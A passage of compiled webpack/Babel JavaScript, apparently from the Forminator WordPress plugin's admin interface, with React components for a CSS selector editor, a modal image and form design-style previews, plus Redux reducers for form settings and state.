				_react2.default.createElement(
					'label',
					{ className: 'sui-label' },
					(0, _utils.translate)('Basic selectors')
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-ace-selectors' },
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' ');
							}
						},
						(0, _utils.translate)('Quiz')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-quiz--title ');
							}
						},
						(0, _utils.translate)('Title')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-quiz--description p ');
							}
						},
						(0, _utils.translate)('Description')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-question .forminator-legend ');
							}
						},
						(0, _utils.translate)('Question')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-answer .forminator-answer--design ');
							}
						},
						(0, _utils.translate)('Answer Container')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-answer .forminator-answer--name ');
							}
						},
						(0, _utils.translate)('Answer Text')
					)
				)
			);

			var pdfSelectors = _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'label',
					{ className: 'sui-label' },
					(0, _utils.translate)('PDF selectors')
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-ace-selectors' },
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('body');
							}
						},
						(0, _utils.translate)('Body')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-pdf-header');
							}
						},
						(0, _utils.translate)('PDF Header')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.pdf-logo');
							}
						},
						(0, _utils.translate)('Logo')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.pdf-title');
							}
						},
						(0, _utils.translate)('Title')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-row-heading td');
							}
						},
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-row-content td');
							}
						},
						(0, _utils.translate)('Field Value')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-pdf-footer-text td');
							}
						},
						(0, _utils.translate)('Footer')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-pdf-pagination td');
							}
						},
						(0, _utils.translate)('Pagination')
					)
				)
			);

			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				type === 'form' && basicSelectors,
				type === 'poll' && pollSelectors,
				type === 'quiz' && quizSelectors,
				type === 'pdf-form' && pdfSelectors,
				_react2.default.createElement(
					'div',
					{ id: 'forminator-field-' + this.props.property,
						'data-value': value,
						style: { height: '210px' }
					},
					value
				)
			);
		}
	}]);

	return AceEditor;
}(_react.Component);

exports.default = AceEditor;

/***/ }),
/* 184 */,
/* 185 */,
/* 186 */,
/* 187 */,
/* 188 */,
/* 189 */,
/* 190 */,
/* 191 */,
/* 192 */,
/* 193 */,
/* 194 */,
/* 195 */,
/* 196 */,
/* 197 */,
/* 198 */,
/* 199 */,
/* 200 */,
/* 201 */,
/* 202 */,
/* 203 */,
/* 204 */,
/* 205 */,
/* 206 */,
/* 207 */,
/* 208 */,
/* 209 */,
/* 210 */,
/* 211 */,
/* 212 */,
/* 213 */,
/* 214 */,
/* 215 */,
/* 216 */,
/* 217 */,
/* 218 */,
/* 219 */,
/* 220 */,
/* 221 */,
/* 222 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = configureStore;

var _redux = __webpack_require__(11);

var _reduxThunk = __webpack_require__(112);

var _reduxThunk2 = _interopRequireDefault(_reduxThunk);

var _reducers = __webpack_require__(223);

var _reducers2 = _interopRequireDefault(_reducers);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var newCreateStore = (0, _redux.compose)((0, _redux.applyMiddleware)(_reduxThunk2.default))(_redux.createStore);

function configureStore(initialState) {
	return newCreateStore(_reducers2.default, initialState);
}

/***/ }),
/* 223 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _redux = __webpack_require__(11);

var _wrappers = __webpack_require__(224);

var _wrappers2 = _interopRequireDefault(_wrappers);

var _settings = __webpack_require__(225);

var _settings2 = _interopRequireDefault(_settings);

var _modal = __webpack_require__(226);

var _modal2 = _interopRequireDefault(_modal);

var _integrations = __webpack_require__(227);

var _integrations2 = _interopRequireDefault(_integrations);

var _behaviors = __webpack_require__(228);

var _behaviors2 = _interopRequireDefault(_behaviors);

var _notifications = __webpack_require__(229);

var _notifications2 = _interopRequireDefault(_notifications);

var _pdfs = __webpack_require__(230);

var _pdfs2 = _interopRequireDefault(_pdfs);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var appReducers = (0, _redux.combineReducers)({
	// List reducers
	wrappers: _wrappers2.default,
	settings: _settings2.default,
	modal: _modal2.default,
	integrationConditions: _integrations2.default,
	behaviorArray: _behaviors2.default,
	notifications: _notifications2.default,
	pdfs: _pdfs2.default
});

// Import reducers
exports.default = appReducers;

/***/ }),
/* 224 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = wrappers;

var _utils = __webpack_require__(1);

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

function updateField(state, action) {
	var wrapper = action.wrapper;

	var wrapperIndex = state.findIndex(function (wrap) {
		return wrap.wrapper_id === wrapper.wrapper_id;
	});

	state = (0, _utils.replaceInPosition)(state, wrapperIndex, wrapper);

	return state;
}

function wrappers() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_FIELDS':
			return action.wrappers;
		case 'UPDATE_FIELD':
			return updateField([].concat(_toConsumableArray(state)), action);
		default:
			return state;
	}
}

/***/ }),
/* 225 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

exports.default = settings;
function updateSetting(state, action) {
	var setting = action.setting,
	    value = action.value;

	// Update value

	state[setting] = value;

	return state;
}

function updateSettings(state, action) {
	var settings = action.settings;


	return _extends({}, state, settings);
}

function resetSettings(state, action) {
	var settings = action.settings;

	return _extends({}, settings);
}

function updateTitle(state, action) {
	var title = action.title;

	// Update value

	state.formName = title;

	return state;
}

function settings() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	var newState = Object.assign({}, state);

	switch (action.type) {
		case 'UPDATE_SETTINGS':
			return updateSettings(newState, action);
		case 'RESET_SETTINGS':
			return resetSettings(newState, action);
		case 'UPDATE_SETTING':
			return updateSetting(newState, action);
		case 'UPDATE_TITLE':
			return updateTitle(newState, action);
		default:
			return state;
	}
}

/***/ }),
/* 226 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
var initialState = {
	modalType: null,
	modalProps: {}
};

exports.default = function () {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState;
	var action = arguments[1];

	switch (action.type) {
		case 'SHOW_MODAL':
			return {
				modalProps: action.modalProps,
				modalType: action.modalType,
				type: action.type
			};
		case 'HIDE_MODAL':
			return initialState;
		default:
			return state;
	}
};

/***/ }),
/* 227 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = integrationConditions;

var _utils = __webpack_require__(1);

function integrationConditions() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_INTEGRATION_CONDITIONS':
			return action.conditions;
		default:
			return state;
	}
}

/***/ }),
/* 228 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = behaviors;

var _utils = __webpack_require__(1);

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

function updateBehaviorArray(state, action) {
	var behavior = action.behavior;

	var behaviorIndex = state.findIndex(function (notify) {
		return notify.slug === behavior.slug;
	});

	state = (0, _utils.replaceInPosition)(state, behaviorIndex, behavior);

	return state;
}

function behaviors() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_BEHAVIORS':
			return action.behaviors;
		case 'UPDATE_BEHAVIOR':
			return updateBehaviorArray([].concat(_toConsumableArray(state)), action);
		default:
			return state;
	}
}

/***/ }),
/* 229 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = notifications;

var _utils = __webpack_require__(1);

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

function updateNotification(state, action) {
	var notification = action.notification;

	var notificationIndex = state.findIndex(function (notify) {
		return notify.slug === notification.slug;
	});

	state = (0, _utils.replaceInPosition)(state, notificationIndex, notification);

	return state;
}

function notifications() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_NOTIFICATIONS':
			return action.notifications;
		case 'UPDATE_NOTIFICATION':
			return updateNotification([].concat(_toConsumableArray(state)), action);
		default:
			return state;
	}
}

/***/ }),
/* 230 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = pdfs;
function pdfs() {
	var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	var action = arguments[1];

	switch (action.type) {
		case 'UPDATE_PDFS':
			return action.pdfs;
		default:
			return state;
	}
}

/***/ }),
/* 231 */,
/* 232 */,
/* 233 */,
/* 234 */,
/* 235 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ModalImage = function (_Component) {
	_inherits(ModalImage, _Component);

	function ModalImage(props) {
		_classCallCheck(this, ModalImage);

		return _possibleConstructorReturn(this, (ModalImage.__proto__ || Object.getPrototypeOf(ModalImage)).call(this, props));
	}

	_createClass(ModalImage, [{
		key: 'render',
		value: function render() {
			var image = this.props.filename ? this.props.filename : '';

			var getclass = 'sui-box-banner';
			var getalt = (0, _utils.translate)('Forminator image');

			if (!_.isUndefined(this.props.logo) && true === this.props.logo) {
				getclass = 'sui-box-logo';
			}

			if (!_.isUndefined(this.props.alt) && '' !== this.props.alt) {
				getalt = this.props.alt;
			}

			return _react2.default.createElement(
				'figure',
				{ className: getclass, 'aria-hidden': 'true' },
				_react2.default.createElement('img', {
					src: forminatorData.imagesUrl + '/' + image + '.png',
					srcSet: forminatorData.imagesUrl + '/' + image + '.png 1x,\n\t\t\t\t\t' + forminatorData.imagesUrl + '/' + image + '@2x.png 2x',
					alt: getalt
				})
			);
		}
	}]);

	return ModalImage;
}(_react.Component);

exports.default = ModalImage;

/***/ }),
/* 236 */,
/* 237 */,
/* 238 */,
/* 239 */,
/* 240 */,
/* 241 */,
/* 242 */,
/* 243 */,
/* 244 */,
/* 245 */,
/* 246 */,
/* 247 */,
/* 248 */,
/* 249 */,
/* 250 */,
/* 251 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _reactRouterDom = __webpack_require__(27);

var _utils = __webpack_require__(1);

var _default = __webpack_require__(252);

var _default2 = _interopRequireDefault(_default);

var _flat = __webpack_require__(253);

var _flat2 = _interopRequireDefault(_flat);

var _bold = __webpack_require__(254);

var _bold2 = _interopRequireDefault(_bold);

var _material = __webpack_require__(255);

var _material2 = _interopRequireDefault(_material);

var _basic = __webpack_require__(256);

var _basic2 = _interopRequireDefault(_basic);

var _none = __webpack_require__(257);

var _none2 = _interopRequireDefault(_none);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var DesignStyle = function (_Component) {
	_inherits(DesignStyle, _Component);

	function DesignStyle() {
		_classCallCheck(this, DesignStyle);

		return _possibleConstructorReturn(this, (DesignStyle.__proto__ || Object.getPrototypeOf(DesignStyle)).apply(this, arguments));
	}

	_createClass(DesignStyle, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-settings-row' },
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-1' },
					_react2.default.createElement(
						'span',
						{ className: 'sui-settings-label' },
						(0, _utils.translate)('Design Style')
					),
					_react2.default.createElement(
						'span',
						{ className: 'sui-description' },
						(0, _utils.translate)("Choose a pre-made style for your form and further customize it's appearance below.")
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-2' },
					_react2.default.createElement(
						_radioTabs2.default,
						_extends({}, this.props, {
							property: 'form-style',
							'default': 'default'
						}),
						_react2.default.createElement(
							_default2.default,
							{ value: 'default', boxClass: 'sui-tab-content sui-tab-boxed' },
							(0, _utils.translate)('Default')
						),
						_react2.default.createElement(
							_flat2.default,
							{ value: 'flat', boxClass: 'sui-tab-content sui-tab-boxed' },
							(0, _utils.translate)('Flat')
						),
						_react2.default.createElement(
							_bold2.default,
							{ value: 'bold', boxClass: 'sui-tab-content sui-tab-boxed' },
							(0, _utils.translate)('Bold')
						),
						_react2.default.createElement(
							_material2.default,
							{ value: 'material', boxClass: 'sui-tab-content sui-tab-boxed' },
							(0, _utils.translate)('Material')
						),
						_react2.default.createElement(
							_none2.default,
							{ value: 'none', boxClass: 'sui-tab-content' },
							(0, _utils.translate)('None')
						)
					)
				)
			);
		}
	}]);

	return DesignStyle;
}(_react.Component);

exports.default = DesignStyle;

/***/ }),
/* 252 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var designDefault = function (_Component) {
	_inherits(designDefault, _Component);

	function designDefault(props) {
		_classCallCheck(this, designDefault);

		return _possibleConstructorReturn(this, (designDefault.__proto__ || Object.getPrototypeOf(designDefault)).call(this, props));
	}

	_createClass(designDefault, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'fui-demo fui-demo--custom-form fui-demo--default' },
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', {
					type: 'text',
					placeholder: (0, _utils.translate)('Placeholder'),
					readOnly: 'readonly'
				}),
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
				_react2.default.createElement(
					'button',
					null,
					(0, _utils.translate)('Button')
				)
			);
		}
	}]);

	return designDefault;
}(_react.Component);

exports.default = designDefault;

/***/ }),
/* 253 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var designFlat = function (_Component) {
	_inherits(designFlat, _Component);

	function designFlat(props) {
		_classCallCheck(this, designFlat);

		return _possibleConstructorReturn(this, (designFlat.__proto__ || Object.getPrototypeOf(designFlat)).call(this, props));
	}

	_createClass(designFlat, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'fui-demo fui-demo--custom-form fui-demo--flat' },
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', {
					type: 'text',
					placeholder: (0, _utils.translate)('Placeholder'),
					readOnly: 'readonly'
				}),
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
				_react2.default.createElement(
					'button',
					null,
					(0, _utils.translate)('Button')
				)
			);
		}
	}]);

	return designFlat;
}(_react.Component);

exports.default = designFlat;

/***/ }),
/* 254 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var designBold = function (_Component) {
	_inherits(designBold, _Component);

	function designBold(props) {
		_classCallCheck(this, designBold);

		return _possibleConstructorReturn(this, (designBold.__proto__ || Object.getPrototypeOf(designBold)).call(this, props));
	}

	_createClass(designBold, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'fui-demo fui-demo--custom-form fui-demo--bold' },
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', {
					type: 'text',
					placeholder: (0, _utils.translate)('Placeholder'),
					readOnly: 'readonly'
				}),
				_react2.default.createElement(
					'label',
					null,
					(0, _utils.translate)('Field Label')
				),
				_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
				_react2.default.createElement(
					'button',
					null,
					(0, _utils.translate)('Button')
				)
			);
		}
	}]);

	return designBold;
}(_react.Component);

exports.default = designBold;

/***/ }),
/* 255 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var designMaterial = function (_Component) {
	_inherits(designMaterial, _Component);

	function designMaterial(props) {
		_classCallCheck(this, designMaterial);

		return _possibleConstructorReturn(this, (designMaterial.__proto__ || Object.getPrototypeOf(designMaterial)).call(this, props));
	}

	_createClass(designMaterial, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'fui-demo fui-demo--custom-form fui-demo--material' },
				_react2.default.createElement(
					'div',
					{ className: 'fui-is_empty' },
					_react2.default.createElement(
						'label',
						null,
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement('input', {
						type: 'text',
						readOnly: 'readonly'
					})
				),
				_react2.default.createElement(
					'div',
					{ className: 'fui-is_filled' },
					_react2.default.createElement(
						'label',
						null,
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' })
				),
				_react2.default.createElement(
					'button',
					null,
					(0, _utils.translate)('Button')
				)
			);
		}
	}]);

	return designMaterial;
}(_react.Component);

exports.default = designMaterial;

/***/ }),
/* 256 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var DesignBasic = function (_Component) {
	_inherits(DesignBasic, _Component);

	function DesignBasic(props) {
		_classCallCheck(this, DesignBasic);

		return _possibleConstructorReturn(this, (DesignBasic.__proto__ || Object.getPrototypeOf(DesignBasic)).call(this, props));
	}

	_createClass(DesignBasic, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'fui-demo fui-demo--custom-form fui-demo--basic' },
				_react2.default.createElement(
					'div',
					{ className: 'fui-is_empty' },
					_react2.default.createElement(
						'label',
						null,
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement('input', {
						type: 'text',
						readOnly: 'readonly'
					})
				),
				_react2.default.createElement(
					'div',
					{ className: 'fui-is_filled' },
					_react2.default.createElement(
						'label',
						null,
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' })
				),
				_react2.default.createElement(
					'button',
					null,
					(0, _utils.translate)('Button')
				)
			);
		}
	}]);

	return DesignBasic;
}(_react.Component);

exports.default = DesignBasic;

/***/ }),
/* 257 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

